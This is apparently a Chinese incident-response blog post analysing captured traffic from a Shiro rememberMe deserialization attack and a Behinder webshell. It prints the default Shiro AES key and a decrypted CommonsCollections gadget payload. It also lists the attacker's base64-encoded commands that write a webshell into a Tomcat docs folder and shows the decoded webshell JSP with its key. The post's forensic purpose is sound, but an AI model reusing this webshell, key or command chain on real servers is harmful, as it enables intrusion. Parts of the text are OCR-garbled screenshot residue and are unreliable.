流量分析之shiro、behinder

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简介: 流量分析涉及Shiro和Behinder,揭示了HTTP流量模式。Shiro的Cookie值经过AES和Base64双重加密,可使用特定工具(如BTEAM-SHIRODECRYPTER)解密。分析中提到了使用TOP100密钥进行解密,并展示了部分解密内容,其中包括命令执行,如`c: cmd.exe`。关注点在于通过筛查包含"/admin/"的HTTP请求,追踪可能的黑客攻击。解密内容显示攻击者尝试在`/docs/3.jsp`写入webshell。通过进一步的流量筛选和解密,例如使用工具DecodeSomeJSPWebshell

流量分析之shiro、behinder

shiro流量解密

shiro的cookie值会很长,一般分析会直接筛查Lenght长度

文件(E) 编辑(E) 视图(L) 跳转(G)

带助(H)

工具W

统计(S)

电话()

无线(W)

分析(A)

捕获(C)

QQQU星

1100110

IP.SRC 10.7.7.7

INFO

LENG TH YINDOW SIZE SCALING FACTOR

DESTINATION

FROTOCOL

TIXE

NO

HTTP

64 GET /ADMIN/ HTTP/1.1

47431 248.144671

1398

10.7.7.7

80.1.1.49

HTTP

64 GET

29169 228.855398

1397

HTTP/1.

10.7.7.7

80.1.1.49

64 POST /DOCS/3.JSP HTTP/1.1

HTTP

243673 4026,177142

1395

10.7.7.7

80.1.1.49

64 GET /ADMIN/ HTTP/1.1

HTTP

1392

80.1.1.49

47769 248.531532

10.7.7.7

(TEXT/PLAIN)

64 POST /ADMIN/ HTTP/1.1

HTTP

1377

10.7.7.7

80.1.1.49

33436 231.035503

HTTP

(TEXT/PLAIN)

64 POST /ADMIN/ HTTP/1.1

10.7.7.7

1377

31694 229.982302

80.1.1.49

HTTP

64 POST /DOCS/3.JSP HTTP/1.1

10.7.7.7

1371

80.1.1.49

243966 4032.407196

HTTP

64 POST /DOCS/3.JSP HTTP/1.1

10.7.7.7

240395 3810.983595

1351

80.1.49

HTTP

242672 4015.395572

64 POST /DOCS/3.JSP HTTP/1.1

10.7.7.7

80.1.1.49

1349

HTTP

64 POST /DOCS/3.JSP HTTP/1.1

10.7.7.7

240746 3815,614740

80.1.1.49

1349

10.7.7.7

64 POST /DOCS/3.JSP HTTP/1.1

80.1.1.49

HTTP

240860 3818.167808

1330

10.7.7.7

80.1.1.49

64 POST /DOCS/3.JSP HTTP/1.1

1329

HTTP

241005 3821,424297

80.1.1.49

64 POST /DOCS/3.JSP HTTP/1.1

10.7.7.7

1310

HTTP

155501 1617.353406

64 GET /ADMIN/ HTTP/1.1

80.1.1.49

1306

10.7.7.7

HTTP

38966 235.596999

64 POST /DOCS/3.JSP HTIP/1.1

10.7.7.7

1305

80.1.1.49

HTTP

242457 3926,598691

64 POST /ADMIN/SERVICES/ADMINSERVICE HTTP/1.1

HTTP/XML

10.7.7.7

1300

30812 229.616079

80.1.1.49

HYPERTEXT TRANSFER PROTOCOL

GET/ADMIN/HTTP/1.1\R\N

[EXPERT INFO (CHAT/SEQUENCE): GET /ADMIN/ HTTP/1.1\/N]

REQUEST METHOD: GET

REQUEST URI://ADMIN/

REQUEST VERSION: HTTP/1.1

HOST:80.1.1.49:8080\R\N

USER-AGENT:GO-HTTP-CLIENT/1.1\R\N

C: ZWNOBYBTOHFXC3BVQTLT\R\N

ACCEPT-ENCODING: GZIP\R\N

CONNECTION: CLOSE\R\N

[FULL REQUEST URI:HTTP://80.1.49:8080/ADMIN/1

[HTTP REQUEST 1/1]

image.png

shiro的cookie主要是AES→base64双层加密,用下面这个工具,就可以直接解出来cookie的内容

BTEAM-SHIRODECRYPTER

KPH+BLXK5D2DEZILXCAAAAA

使用TOP100密钥

KEY:

DECRYPT

JAVA/TANG/STRNGBUNER

$$$# APPEND,(LJAVA/LANG/STRING:)LJAVA/LANG/STRINGBUFFER; TOSTRING?L WRITE(LJAVA/LANG/STRING:// JAVA/LANG/EXCEPTION@JAVA/LANG/THROWABLEEGETSTACKTRACKTRACE OLLJAVA/LANG/STACKTRACEELEMENT CODE LEXEPIONSORG/SPRINGFRANENORK/VEB/CONTEXT/EQUESTREQUESTABLES@LJANO/SSING/SSING &SHING/APLEQCOM/SUN/ORG (@@@C:E@JONPOTO@$YVSYXSYXSYSOO$YISYS:ONYOYOYOD 南沉口口 2027$2$2.$R-22 OPTAPWXURLJAVALANG.CLASS:O抚送2@XPVRIAVAXXMLTRANSFORM.TEMPLATESXPSRJAVA.UTIL.HASHMAP F THRESHOLDXP?@WXXVRJAVA.LANG.OVERRIDEXPQ~ LOADFACTORL KEY:KPH+BLXK5D2DEZILXCAAAA-三,加密模式为AES-CBC. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1345801/1660708707343-7a8bc9ae-07c4-4e1e-b6ea-fcea035faa20.png?x-oss-process=image%2Fformat%2Cwebp) 解密内容如下 ``` 鑬{�嗴))�?/I垃�sr2sun.reflect.annotation.AnnotationInvocationHandlerU术藒�LmemberValuestLjava/util/Map;LtypetLjava/lang/Class;xps}java.util.Mapxrjava.lang.reflect.Proxy�'� �C�Lht%Ljava/lang/reflect/InvocationHandler;xpsq~sr*org.apache.commons.collections.map.LazyMapn鍞倿y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0菞�(z�[iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;絍*褙4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A睌L iConstanttLjava/lang/Object;xpvr7com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilterxpsr>org.apache.commons.collections.functors.InstantiateTransformer4嬼�;[iArgst[Ljava/lang/Object;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;愇X�s)lxpsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl WO羘3I_indentNumberI_transletIndex[ _bytecodest[[B[_classq~L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xp����ur[[BK�gg�7xpur[B�T�xp 问�3�x/Test559794544911020java/lang/Object SourceFileTest559794544911020.java()V ��toString�L
��write(Ljava/lang/String;)V��
6�java/lang/Exception�java/lang/Throwable�getStackTrace ()[Ljava/lang/StackTraceElement;��
��Code
Exceptions9org/springframework/web/context/request/RequestAttributes�[Ljava/lang/String;�StackMapTable@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet�
� !��s*�ジL+��M+��N,�":��(��-�.-�4�9-�4�<,>�":��(����C:E�J�NP�T��$YVSYXSYS��$YZSY\SYS:�^Y�`Y�c�g�m�pr�v�y�}:: ��: -�4�匶��埗� ��埗尪彾�-�4�9-�4�<�:

�沇����<
�0�*$�$�,$R→c��
��ptapwxur[Ljava.lang.Class;�桩送Z�xpvrjavax.xml.transform.Templatesxpsrjava.util.HashMap诹�`�F
loadFactorI thresholdxp?@wxxvrjava.lang.Overridexpq~-






重点关注的地方

c=org/apache/shiro/codec/Base64?decodeToStringA              c进行base64加密的密文传参

$Scmd.exeU/cW/bin/shY-c[java/util/Scanner]java/lang/ProcessBuilder_([Ljava/lang/String;)Va

`bstart()Ljava/lang/Process;de       ProcessBuilder去进行命令执行



通过分析筛查 c: 的传参 搜索黑客攻击都做了什么操作

http && http contains "/admin/" && ip.src ==10.7.7.7



![image.png](https://cdn.nlark.com/yuque/0/2022/png/1345801/1660711759580-3b921c10-1563-4c5a-aa28-46fbcf85c20e.png?x-oss-process=image%2Fformat%2Cwebp)



把c: 所有命令执行base64加密的值复制出来

c: d2hvYW1p
c: cHMgLWF1eCB8IGdyZXAgdG9tY2F0
c: bHMgLWFsIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2
c: bHMgLWFsIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcw==
c: ZWNobyAxMjMgPiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEudHh0
c: ZWNobyBQQ1ZBY0dGblpTQnBiWEJ2Y25ROUltcGhkbUV1ZFhScGJDNHFMR3BoZG1GNExtTnllWEIwYnk0cUxHcGhkbUY0TG1OeWVYQjBieTV6Y0dWakxpb2lKVDQ4SlNGamJHRnpjeUJWSUdWNGRHVnVaSE1nUTJ4aGMzTk1iMkZrWlhKN1ZTaERiR0Z6YzB4dllXUmxjaUJqS1h0emRYQmxjaWhqS1R0OWNIVmliR2xqSUVOc1lYTnpJR2NvWW5sMFpTQmJYV0lwZTNKbGRIVnliaUJ6ZFhCbGNpNWtaV1pwYm1WRGJHRnpjeWhpTERBc1lpNXNaVzVuZEdncE8zMTlKVDQ4SldsbUlDaHlaWEYxWlhOMExtZGxkRTFsZEdodlpDZ3BMbVZ4ZFdGc2N5Z2lVRTlUVkNJcEtYdFRkSEpwYm1jZ2F6MGlNakF5WTJJNU5qSmhZelU1TURjMVlpSTdMeXJvcjZYbHI0YnBrcVhrdUxyb3Y1N21qcVhscjRibm9JRXpNdVM5alcxa05lV0F2T2VhaE9XSmpURTI1TDJONzd5TTZidVk2SzZrNkwrZTVvNmw1YStHNTZDQk1USXpLaTl6WlhOemFXOXVMbkIxZEZaaGJIVmxLQ0oxSWl4cktUcz0gPiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNw

c: ZWNobyBRMmx3YUdWeUlHTTlRMmx3YUdWeUxtZGxkRWx1YzNSaGJtTmxLQ0pCUlZNaUtUdGpMbWx1YVhRb01peHVaWGNnVTJWamNtVjBTMlY1VTNCbFl5aHJMbWRsZEVKNWRHVnpLQ2tzSWtGRlV5SXBLVHR1WlhjZ1ZTaDBhR2x6TG1kbGRFTnNZWE56S0NrdVoyVjBRMnhoYzNOTWIyRmtaWElvS1NrdVp5aGpMbVJ2Um1sdVlXd29ibVYzSUhOMWJpNXRhWE5qTGtKQlUwVTJORVJsWTI5a1pYSW9LUzVrWldOdlpHVkNkV1ptWlhJb2NtVnhkV1Z6ZEM1blpYUlNaV0ZrWlhJb0tTNXlaV0ZrVEdsdVpTZ3BLU2twTG01bGQwbHVjM1JoYm1ObEtDa3VaWEYxWVd4ektIQmhaMlZEYjI1MFpYaDBLVHQ5SlQ0PSA+PiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNw

c: ZWNobyAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNwIHwgYmFzZTY0IC1kID4gL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzIuanNw

c: ZWNobyAgIFBDVkFjR0ZuWlNCcGJYQnZjblE5SW1waGRtRXVkWFJwYkM0cUxHcGhkbUY0TG1OeWVYQjBieTRxTEdwaGRtRjRMbU55ZVhCMGJ5NXpjR1ZqTGlvaUpUNDhKU0ZqYkdGemN5QlZJR1Y0ZEdWdVpITWdRMnhoYzNOTWIyRmtaWEo3VlNoRGJHRnpjMHh2WVdSbGNpQmpLWHR6ZFhCbGNpaGpLVHQ5Y0hWaWJHbGpJRU5zWVhOeklHY29ZbmwwWlNCYlhXSXBlM0psZEhWeWJpQnpkWEJsY2k1a1pXWnBibVZEYkdGemN5aGlMREFzWWk1c1pXNW5kR2dwTzMxOUpUNDhKV2xtSUNoeVpYRjFaWE4wTG1kbGRFMWxkR2h2WkNncExtVnhkV0ZzY3lnaVVFOVRWQ0lwS1h0VGRISnBibWNnYXowaU1qQXlZMkk1TmpKaFl6VTVNRGMxWWlJN0x5cm9yNlhscjRicGtxWGt1THJvdjU3bWpxWGxyNGJub0lFek11UzlqVzFrTmVXQXZPZWFoT1dKalRFMjVMMk43N3lNNmJ1WTZLNms2TCtlNW82bDVhK0c1NkNCTVRJektpOXpaWE56YVc5dUxuQjFkRlpoYkhWbEtDSjFJaXhyS1RzPSAgPiAvcm9vdC9hcGFjaGUtdG9tY2F0LTguNS42Ni93ZWJhcHBzL2RvY3MvMS50eHQ=

c: ZWNobyAgIFEybHdhR1Z5SUdNOVEybHdhR1Z5TG1kbGRFbHVjM1JoYm1ObEtDSkJSVk1pS1R0akxtbHVhWFFvTWl4dVpYY2dVMlZqY21WMFMyVjVVM0JsWXlockxtZGxkRUo1ZEdWektDa3NJa0ZGVXlJcEtUdHVaWGNnVlNoMGFHbHpMbWRsZEVOc1lYTnpLQ2t1WjJWMFEyeGhjM05NYjJGa1pYSW9LU2t1WnloakxtUnZSbWx1WVd3b2JtVjNJSE4xYmk1dGFYTmpMa0pCVTBVMk5FUmxZMjlrWlhJb0tTNWtaV052WkdWQ2RXWm1aWElvY21WeGRXVnpkQzVuWlhSU1pXRmtaWElvS1M1eVpXRmtUR2x1WlNncEtTa3BMbTVsZDBsdWMzUmhibU5sS0NrdVpYRjFZV3h6S0hCaFoyVkRiMjUwWlhoMEtUdDlKVDQ9ID4+IC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcy8xLnR4dA==

c: ZWNobyAgIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcy8xLnR4dCB8IGJhc2U2NCAtZCA+ICAvcm9vdC9hcGFjaGUtdG9tY2F0LTguNS42Ni93ZWJhcHBzL2RvY3MvMy5qc3A=

c: ZWNobyAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzMuanNw

c: Y2F0ICAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEudHh0IHwgYmFzZTY0IC1kID4gL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzMuanNw


直接批量解密 可以发现攻击者命令执行的操作,就是在docs/3.jsp写入webshell

c: whoami
c: ps -aux | grep tomcat
c: ls -al /root/apache-tomcat-8.5.66
c: ls -al /root/apache-tomcat-8.5.66/webapps/docs
c: echo 123 > /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iMjAyY2I5NjJhYzU5MDc1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBMTIzKi9zZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTs= > /root/apache-tomcat-8.5.66/webapps/docs/1.jsp

c: echo Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= >> /root/apache-tomcat-8.5.66/webapps/docs/1.jsp

c: echo /root/apache-tomcat-8.5.66/webapps/docs/1.jsp | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/2.jsp

c: echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iMjAyY2I5NjJhYzU5MDc1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBMTIzKi9zZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTs= > /root/apache-tomcat-8.5.66/webapps/docs/1.txt

c: echo Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= >> /root/apache-tomcat-8.5.66/webapps/docs/1.txt

c: echo /root/apache-tomcat-8.5.66/webapps/docs/1.txt | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/3.jsp

c: echo /root/apache-tomcat-8.5.66/webapps/docs/3.jsp

c: cat /root/apache-tomcat-8.5.66/webapps/docs/1.txt | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/3.jsp


其中3.jsp解码后,可以看出来是冰歇马,加密的key 202cb962ac59075b

<%@page import="java.util.,javax.crypto.,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="202cb962ac59075b";session.putValue("u",k);
```

冰歇流量解密

对3.jsp进行流量筛选,对post内容进行流量分析

img

img

用的是这个工具

https://github.com/minhangxiaohui/DecodeSomeJSPWebshell

img

把class文件拉进idea或者jadx反编译,可以直接看到java代码,就可以分析出来攻击者通过webshell做了什么操作从而进行应急排查。

img

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存储 数据采集 监控
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缓存 安全 网络安全
配置Shiro核心过滤器与相关配置
<!--anon 表示匿名访问,不需要认证以及授权--> <!--authc表示需要认证 没有进行身份认证是不能进行访问的--> <!--roles[admin]表示角色认证,必须是拥有admin角色的用户才行--> <!--user表示用户不一定已通过认证,只要曾被Shiro记住过登录状态的用户就可以正常发起请求,比如rememberMe--> <!--perms表示指定过滤规则,这个一般是扩展使用,不会使用原生的--> <!--port表示请求的URL端口验证--> <!--ssl表示安全的URL请求,协议为https--> <!--rest表示根据请求的方法,